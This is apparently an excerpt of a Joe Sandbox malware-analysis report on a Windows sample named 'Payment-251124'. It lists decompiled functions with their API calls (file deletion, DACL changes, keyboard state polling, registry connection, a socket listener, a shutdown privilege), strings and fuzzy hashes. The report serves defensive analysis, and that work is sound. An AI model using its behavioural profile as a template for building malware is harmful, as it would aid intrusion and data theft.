                                                        • Opcode ID: 2f149f71133b664a3a5052738d7730d947a4ba85b7563b0ebf26631455d1ab03
                                                        • Instruction ID: db56147707081626f5c8283569a10bc80b241f8c4a05e6d2bdc310d47361cee1
                                                        • Opcode Fuzzy Hash: 2f149f71133b664a3a5052738d7730d947a4ba85b7563b0ebf26631455d1ab03
                                                        • Instruction Fuzzy Hash: 9C31B636A0521D6BDF10DFA0DC49ADE77ACAF46320F104196EE15E2090EB70DAC5AA64
                                                        Function 00F11C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00F11CAB
                                                        • _wcscmp.LIBCMT ref: 00F11CC0
                                                        • _wcscmp.LIBCMT ref: 00F11CD7
                                                          • Part of subcall function 00F06BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00F06BEF
                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 00F11D06
                                                        • FindClose.KERNEL32(00000000), ref: 00F11D11
                                                        • FindFirstFileW.KERNEL32(*.*,?), ref: 00F11D2D
                                                        • _wcscmp.LIBCMT ref: 00F11D54
                                                        • _wcscmp.LIBCMT ref: 00F11D6B
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00F11D7D
                                                        • SetCurrentDirectoryW.KERNEL32(00F739FC), ref: 00F11D9B
                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 00F11DA5
                                                        • FindClose.KERNEL32(00000000), ref: 00F11DB2
                                                        • FindClose.KERNEL32(00000000), ref: 00F11DC2
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                        • String ID: *.*
                                                        • API String ID: 1824444939-438819550
                                                        • Opcode ID: 2e2f2b3a35221a265331da7f041ad41899782cfeb0f0568b7fca9e4a70da158d
                                                        • Instruction ID: 96e19c0078f6c75050cebf528611ef59faa989de43a798c7b66015c0c34039c2
                                                        • Opcode Fuzzy Hash: 2e2f2b3a35221a265331da7f041ad41899782cfeb0f0568b7fca9e4a70da158d
                                                        • Instruction Fuzzy Hash: 6131063290061E7ADF20EFA0EC09ADE77ADAF46334F104595EE01A3090DB70DAC5EA65
                                                        Function 00EC7D19 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 962COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _memset
                                                        • String ID: Q\E$[$[:<:]]$[:>:]]$\$\$\$\b(?<=\w)$\b(?=\w)$]$^
                                                        • API String ID: 2102423945-2023335898
                                                        • Opcode ID: b96144db89b437c17a6030daa4fa45b745c235430099c5bc21b9953885e60f6a
                                                        • Instruction ID: 696de0d80ded7e5cd42c159e2a533f823d9d322c54185d31ac4202d5aa7d4dd4
                                                        • Opcode Fuzzy Hash: b96144db89b437c17a6030daa4fa45b745c235430099c5bc21b9953885e60f6a
                                                        • Instruction Fuzzy Hash: CE82BE71D04219CBCB24CF98CA80BEDBBB1BF44324F24916AD859BB341E7759D86DB90
                                                        Function 00F1091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocalTime.KERNEL32(?), ref: 00F109DF
                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 00F109EF
                                                        • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00F109FB
                                                        • __wsplitpath.LIBCMT ref: 00F10A59
                                                        • _wcscat.LIBCMT ref: 00F10A71
                                                        • _wcscat.LIBCMT ref: 00F10A83
                                                        • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00F10A98
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00F10AAC
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00F10ADE
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00F10AFF
                                                        • _wcscpy.LIBCMT ref: 00F10B0B
                                                        • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00F10B4A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                        • String ID: *.*
                                                        • API String ID: 3566783562-438819550
                                                        • Opcode ID: 0d707e15511cc1db2bc844cc33edf3e0be190c1ef4e3a34617ee1d71512ca476
                                                        • Instruction ID: d254494978f188f786b7bf073edf36b33b692b721a9041af541aeb524ff8cb04
                                                        • Opcode Fuzzy Hash: 0d707e15511cc1db2bc844cc33edf3e0be190c1ef4e3a34617ee1d71512ca476
                                                        • Instruction Fuzzy Hash: 2B6147725083059FC710EF60C844EAEB3E8FF89314F04492EE989D7252DB75E985DB92
                                                        Function 00EFA66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EFABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00EFABD7
                                                          • Part of subcall function 00EFABBB: GetLastError.KERNEL32(?,00EFA69F,?,?,?), ref: 00EFABE1
                                                          • Part of subcall function 00EFABBB: GetProcessHeap.KERNEL32(00000008,?,?,00EFA69F,?,?,?), ref: 00EFABF0
                                                          • Part of subcall function 00EFABBB: HeapAlloc.KERNEL32(00000000,?,00EFA69F,?,?,?), ref: 00EFABF7
                                                          • Part of subcall function 00EFABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00EFAC0E
                                                          • Part of subcall function 00EFAC56: GetProcessHeap.KERNEL32(00000008,00EFA6B5,00000000,00000000,?,00EFA6B5,?), ref: 00EFAC62
                                                          • Part of subcall function 00EFAC56: HeapAlloc.KERNEL32(00000000,?,00EFA6B5,?), ref: 00EFAC69
                                                          • Part of subcall function 00EFAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00EFA6B5,?), ref: 00EFAC7A
                                                        • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00EFA6D0
                                                        • _memset.LIBCMT ref: 00EFA6E5
                                                        • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00EFA704
                                                        • GetLengthSid.ADVAPI32(?), ref: 00EFA715
                                                        • GetAce.ADVAPI32(?,00000000,?), ref: 00EFA752
                                                        • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00EFA76E
                                                        • GetLengthSid.ADVAPI32(?), ref: 00EFA78B
                                                        • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00EFA79A
                                                        • HeapAlloc.KERNEL32(00000000), ref: 00EFA7A1
                                                        • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00EFA7C2
                                                        • CopySid.ADVAPI32(00000000), ref: 00EFA7C9
                                                        • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00EFA7FA
                                                        • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00EFA820
                                                        • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00EFA834
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                        • String ID:
                                                        • API String ID: 3996160137-0
                                                        • Opcode ID: e57a94a0860a5455c54d4b43bd471b6766b6a8d17e67f7faf83f9df1553fbf7d
                                                        • Instruction ID: d81efb71e379491ce57c3ac22d718058f9f30d50f855287d3f570698a27f8f8e
                                                        • Opcode Fuzzy Hash: e57a94a0860a5455c54d4b43bd471b6766b6a8d17e67f7faf83f9df1553fbf7d
                                                        • Instruction Fuzzy Hash: B5514BB590020DABDF14DF94DC48EFEBBB9FF05304F088129EA15AB290D7749A05DB61
                                                        Function 00EC6F07 Relevance: 18.4, Strings: 14, Instructions: 883COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
                                                        • API String ID: 0-4052911093
                                                        • Opcode ID: 81bad41a8f606cd410cce30b84c6030753f513dd1775f53f80c394906dd9ad9d
                                                        • Instruction ID: eeec464c0f4962689e8edbe2097f41c47ddae086d43e73216af5e3ac19b2673a
                                                        • Opcode Fuzzy Hash: 81bad41a8f606cd410cce30b84c6030753f513dd1775f53f80c394906dd9ad9d
                                                        • Instruction Fuzzy Hash: 60728271E04219DBDB18CF58C980BAEBBB5BF44310F54816AE855FB281DB719E81EF90
                                                        Function 00F063F9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 89fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F06EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F05FA6,?), ref: 00F06ED8
                                                          • Part of subcall function 00F072CB: GetFileAttributesW.KERNEL32(?,00F06019), ref: 00F072CC
                                                        • _wcscat.LIBCMT ref: 00F06441
                                                        • __wsplitpath.LIBCMT ref: 00F0645F
                                                        • FindFirstFileW.KERNEL32(?,?), ref: 00F06474
                                                        • _wcscpy.LIBCMT ref: 00F064A3
                                                        • _wcscat.LIBCMT ref: 00F064B8
                                                        • _wcscat.LIBCMT ref: 00F064CA
                                                        • DeleteFileW.KERNEL32(?), ref: 00F064DA
                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 00F064EB
                                                        • FindClose.KERNEL32(00000000), ref: 00F06506
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
                                                        • String ID: \*.*
                                                        • API String ID: 2643075503-1173974218
                                                        • Opcode ID: 1370fb4b1179e7c35704923c5b4ee633e34617626576d2b1808312ae2e6d7816
                                                        • Instruction ID: 4ae2fb5eb846c2bb073f826f9a8d6e65f65a8d593dfc72ee151214ec262c6582
                                                        • Opcode Fuzzy Hash: 1370fb4b1179e7c35704923c5b4ee633e34617626576d2b1808312ae2e6d7816
                                                        • Instruction Fuzzy Hash: 983184B2408388AAC721DBA48C85ADFB7DCAF96310F44091EF6D8C3181EA35D549A767
                                                        Function 00F231BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F23C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F22BB5,?,?), ref: 00F23C1D
                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F2328E
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00F2332D
                                                        • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00F233C5
                                                        • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00F23604
                                                        • RegCloseKey.ADVAPI32(00000000), ref: 00F23611
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                        • String ID:
                                                        • API String ID: 1240663315-0
                                                        • Opcode ID: 6d1c5a8c8b4ef6865ae8238dd1d19835df38252c145ac8b1decdefb33b56d6ac
                                                        • Instruction ID: 4404b6ae7b03ee1a7222c195c85598e8ebabf9249e31ae48910618e5e1f703f1
                                                        • Opcode Fuzzy Hash: 6d1c5a8c8b4ef6865ae8238dd1d19835df38252c145ac8b1decdefb33b56d6ac
                                                        • Instruction Fuzzy Hash: 3EE17D75604210AFCB14DF28D995E2ABBE8FF89310F04896DF44ADB2A1CB35ED05DB52
                                                        Function 00F02B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetKeyboardState.USER32(?), ref: 00F02B5F
                                                        • GetAsyncKeyState.USER32(000000A0), ref: 00F02BE0
                                                        • GetKeyState.USER32(000000A0), ref: 00F02BFB
                                                        • GetAsyncKeyState.USER32(000000A1), ref: 00F02C15
                                                        • GetKeyState.USER32(000000A1), ref: 00F02C2A
                                                        • GetAsyncKeyState.USER32(00000011), ref: 00F02C42
                                                        • GetKeyState.USER32(00000011), ref: 00F02C54
                                                        • GetAsyncKeyState.USER32(00000012), ref: 00F02C6C
                                                        • GetKeyState.USER32(00000012), ref: 00F02C7E
                                                        • GetAsyncKeyState.USER32(0000005B), ref: 00F02C96
                                                        • GetKeyState.USER32(0000005B), ref: 00F02CA8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: State$Async$Keyboard
                                                        • String ID:
                                                        • API String ID: 541375521-0
                                                        • Opcode ID: 83e2d2fbc081e9756c920d712a50a4bb2d4a6da83f4b9adca7c3f22cb5282c39
                                                        • Instruction ID: 41cc47e63bc7c97d54d281766e1178d11715f241c35e7f5936a2b8d1ce6363b6
                                                        • Opcode Fuzzy Hash: 83e2d2fbc081e9756c920d712a50a4bb2d4a6da83f4b9adca7c3f22cb5282c39
                                                        • Instruction Fuzzy Hash: 9A41D574D047C96DFFB59B60890C3A9BEA06B22334F08C059D9C6566C2DB9499C4F7B2
                                                        Function 00F16D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                        • String ID:
                                                        • API String ID: 1737998785-0
                                                        • Opcode ID: 9f2a4fc0ef751c92fb6805f804ebf0cf391bf2b32586a506a1feed114fde9ee8
                                                        • Instruction ID: f3475c1f95a9dc2d983f964ec0933724848222f5f7dc553635ea45aab7c84905
                                                        • Opcode Fuzzy Hash: 9f2a4fc0ef751c92fb6805f804ebf0cf391bf2b32586a506a1feed114fde9ee8
                                                        • Instruction Fuzzy Hash: D721B035300114AFDB01AF64ED49B6DB7E8FF65721F01801AF90ADB2A1CB74ED41AB91
                                                        Function 00F1C18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EF9ABF: CLSIDFromProgID.OLE32 ref: 00EF9ADC
                                                          • Part of subcall function 00EF9ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 00EF9AF7
                                                          • Part of subcall function 00EF9ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 00EF9B05
                                                          • Part of subcall function 00EF9ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00EF9B15
                                                        • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00F1C235
                                                        • _memset.LIBCMT ref: 00F1C242
                                                        • _memset.LIBCMT ref: 00F1C360
                                                        • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 00F1C38C
                                                        • CoTaskMemFree.OLE32(?), ref: 00F1C397
                                                        Strings
                                                        • NULL Pointer assignment, xrefs: 00F1C3E5
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                        • String ID: NULL Pointer assignment
                                                        • API String ID: 1300414916-2785691316
                                                        • Opcode ID: 996066497b477eba20d1ac5c75f04f0ec94be6b6521f3108561b4470a30ef1fd
                                                        • Instruction ID: de45489ee90ae7644a8890bd8d349b448fd2ac67dbac4f04f4f5defbcc04146c
                                                        • Opcode Fuzzy Hash: 996066497b477eba20d1ac5c75f04f0ec94be6b6521f3108561b4470a30ef1fd
                                                        • Instruction Fuzzy Hash: 76912A71D00218ABDB10DF94DC95EEEBBB9EF04710F20816AF919B7281DB719A45DFA0
                                                        Function 00F079D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EFB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EFB180
                                                          • Part of subcall function 00EFB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00EFB1AD
                                                          • Part of subcall function 00EFB134: GetLastError.KERNEL32 ref: 00EFB1BA
                                                        • ExitWindowsEx.USER32(?,00000000), ref: 00F07A0F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                        • String ID: $@$SeShutdownPrivilege
                                                        • API String ID: 2234035333-194228
                                                        • Opcode ID: afc75116bb70373336fe824e5285df4778c64548221fc6366e0a40504d5f95d8
                                                        • Instruction ID: 5b248b68d086f5825d02db0283fba0a184cdac0754913209c8d0fc3e4f857ab4
                                                        • Opcode Fuzzy Hash: afc75116bb70373336fe824e5285df4778c64548221fc6366e0a40504d5f95d8
                                                        • Instruction Fuzzy Hash: 9F01F772F583156AF7287668DC5ABBF33589B00750F2448A4FD43E20E2D9A8BF00B1B1
                                                        Function 00F18C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00F18CA8
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F18CB7
                                                        • bind.WSOCK32(00000000,?,00000010), ref: 00F18CD3
                                                        • listen.WSOCK32(00000000,00000005), ref: 00F18CE2
                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00F18CFC
                                                        • closesocket.WSOCK32(00000000,00000000), ref: 00F18D10
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorLast$bindclosesocketlistensocket
                                                        • String ID:
                                                        • API String ID: 1279440585-0
                                                        • Opcode ID: e490d61479b55a528a67864f299ffc0bfd907789322a7fb72a621612f0a1362e
                                                        • Instruction ID: 5c729da1bde5349f4693ebb31760d744549b8a9480ed72a983985d06fb0e1636
                                                        • Opcode Fuzzy Hash: e490d61479b55a528a67864f299ffc0bfd907789322a7fb72a621612f0a1362e
                                                        • Instruction Fuzzy Hash: 2521E4356002059FCB14EF68DE45BAEB7E9EF59360F10415CF916A73D2CB30AD42AB51
                                                        Function 00F06532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00F06554
                                                        • Process32FirstW.KERNEL32(00000000,0000022C), ref: 00F06564
                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 00F06583
                                                        • __wsplitpath.LIBCMT ref: 00F065A7
                                                        • _wcscat.LIBCMT ref: 00F065BA
                                                        • CloseHandle.KERNEL32(00000000,?,00000000), ref: 00F065F9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
